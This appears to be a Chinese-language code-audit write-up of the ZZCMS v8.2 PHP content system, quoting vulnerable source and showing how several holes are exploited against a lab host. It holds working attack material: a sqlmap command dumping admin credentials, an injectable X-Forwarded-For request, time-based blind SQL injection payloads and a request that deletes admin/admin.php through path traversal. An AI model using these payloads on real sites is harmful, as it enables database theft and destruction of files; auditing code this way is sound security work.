记一次简单的代码审计项目案例

# "/user/conn.php"文件// 引入配置文件，确保所有环境特定的配置都在此文件中定义require_once(CMS_ROOT_PATH."/inc/config.php");// 引入网站工具函数库require_once(CMS_ROOT_PATH."/inc/wjt.php");// 引入核心功能函数库require_once(CMS_ROOT_PATH."/inc/function.php");// 引入站点类库require_once(CMS_ROOT_PATH."/inc/zsclass.php");// 引入SQL注入防护库require_once(CMS_ROOT_PATH."/inc/stopsqlin.php");// 引入地区数据文件require_once(CMS_ROOT_PATH."/inc/area.php");// "/user/stopsqlin.php"文件/** * 对用户输入进行清理和转义，防止XSS攻击和SQL注入。 *  * @param mixed $input 用户输入的数据，可能是字符串或数组。 * @return mixed 清理和转义后的数据。 */function clean_input($input){    if(!is_array($input)){        // 如果magic_quotes_gpc开启，则get_magic_quotes_gpc会返回true，此时输入已经自动添加了转义字符        if(ini_get('magic_quotes_gpc')){            return htmlspecialchars(trim($input));        }else{            // 对输入进行转义，防止SQL注入和XSS攻击            return addslashes(htmlspecialchars(trim($input)));        }    }    // 如果是数组，则递归清理每个元素    foreach($input as $k => $v){        $input[$k] = clean_input($v);    }    return $input;}// 清理REQUEST超全局数组中的所有数据if($_REQUEST){    $_POST = clean_input($_POST);    $_GET = clean_input($_GET);    $_COOKIE = clean_input($_COOKIE);    // 将清理后的数据提取到当前符号表，以便直接使用变量名访问    extract($_POST);    extract($_GET);}/** * 检查并阻止SQL注入。 *  * @param string $str 需要检查的字符串。 * @return string 检查后的字符串，如果包含非法字符则终止脚本执行。 */function check_sql_injection($str){    $inj_data = "',/,,<,>,";    $inj_pattern = explode(",", $inj_data);    foreach($inj_pattern as $pattern){        if(strpos($str, $pattern) !== false){            // 如果发现非法字符，显示错误信息并终止脚本执行            die("含有非法字符 [".$pattern."]，请返回重新填写。");        }    }    return $str; // 如果没有非法字符，返回原始字符串}

# "/user/check.php"文件$username=nostr($_COOKIE["UserName"]);$rs=query("select id,usersf,lastlogintime from zzcms_user where lockuser=0 and username='".$username."' and password='".$_COOKIE["PassWord"]."'");$row=num_rows($rs);

# "/user/check.php"文件query("UPDATE zzcms_user SET loginip = '".getip()."' WHERE username='".$username."'");//更新最后登录 IP# "/inc/function.php"文件functiongetip(){ if (getenv("HTTP_CLIENT_IP") &&strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))     $ip = getenv("HTTP_CLIENT_IP"); elseif (getenv("HTTP_X_FORWARDED_FOR") &&strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))     $ip = getenv("HTTP_X_FORWARDED_FOR"); elseif (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))     $ip = getenv("REMOTE_ADDR"); elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))     $ip = $_SERVER['REMOTE_ADDR']; else    $ip = "unknown"; return($ip); }

sqlmap -r Desktop/test.txt --batch -D zzcms -T zzcms_admin -C"admin,pass" --dumpGET /user/del.php HTTP/1.1Host: 192.168.1.7User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36Upgrade-Insecure-Requests: 1Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: bdshare_firstime=1518262531074; PHPSESSID=jpeu0l4983924s20f6bk0ktkl0; UserName=test; PassWord=098f6bcd4621d373cade4e832627b4f6X-Forwarded-For: 111.111.111.111*Connection: close

# "/user/check.php"文件query("UPDATE zzcms_user SET totleRMB = totleRMB+".jf_login."WHERE username='".$username."'");//登录时加积分query("insertinto zzcms_pay (username,dowhat,RMB,mark,sendtime) values('".$username."',' 每 天 登 录 用 户 中 心 送 积 分','+".jf_login."','','".date('Y-m-d H:i:s')."')");query("UPDATE zzcms_user SET lastlogintime = '".date('Y-m-d H:i:s')."'WHERE username='".$username."'");//更新最后登录时间

# "/user/del.php"文件if (strpos($id,",")>0)$sql="select id,editor from ".$tablename." where id in (". $id .")";else$sql="select id,editor from ".$tablename." where id ='$id'";作者 vr_system 于 2018-02-07 发表了 ZZCMS v8.2 最新版 SQL 注入漏洞(http://www.freebuf.com/vuls/161888.html) 一文，文中使用的 payload 为：id=1&tablename=zzcms_answer where id = 1andif((ascii(substr(user(),1,1)) =121),sleep(5),1)#

id=1&tablename=zzcms_answer where id=999999999 union select1,2andif((ascii(substr(user(),1,1)) = 114),sleep(3),1)#

POST /user/adv.php?action=modify HTTP/1.1Host: 192.168.1.7Content-Length: 149Cache-Control: max-age=0Origin: http://192.168.1.7Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Referer: http://192.168.1.7/user/adv.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: bdshare_firstime=1518262531074; PHPSESSID=jpeu0l4983924s20f6bk0ktkl0;Connection: closeadv=tettste&advlink=/zt/show.php?id=1&company=测试&img=test&oldimg=admin/admin.php&Submit3=%E5%8F%91%E5%B8%83

# "/user/licence_save.php"文件// 假设这是第30行附近的代码$f = "../" . $oldimg; // 直接拼接路径，未过滤.和/字符if ($img != $oldimg && $action == "modify") {    // 执行删除操作    unlink($f); // 删除文件}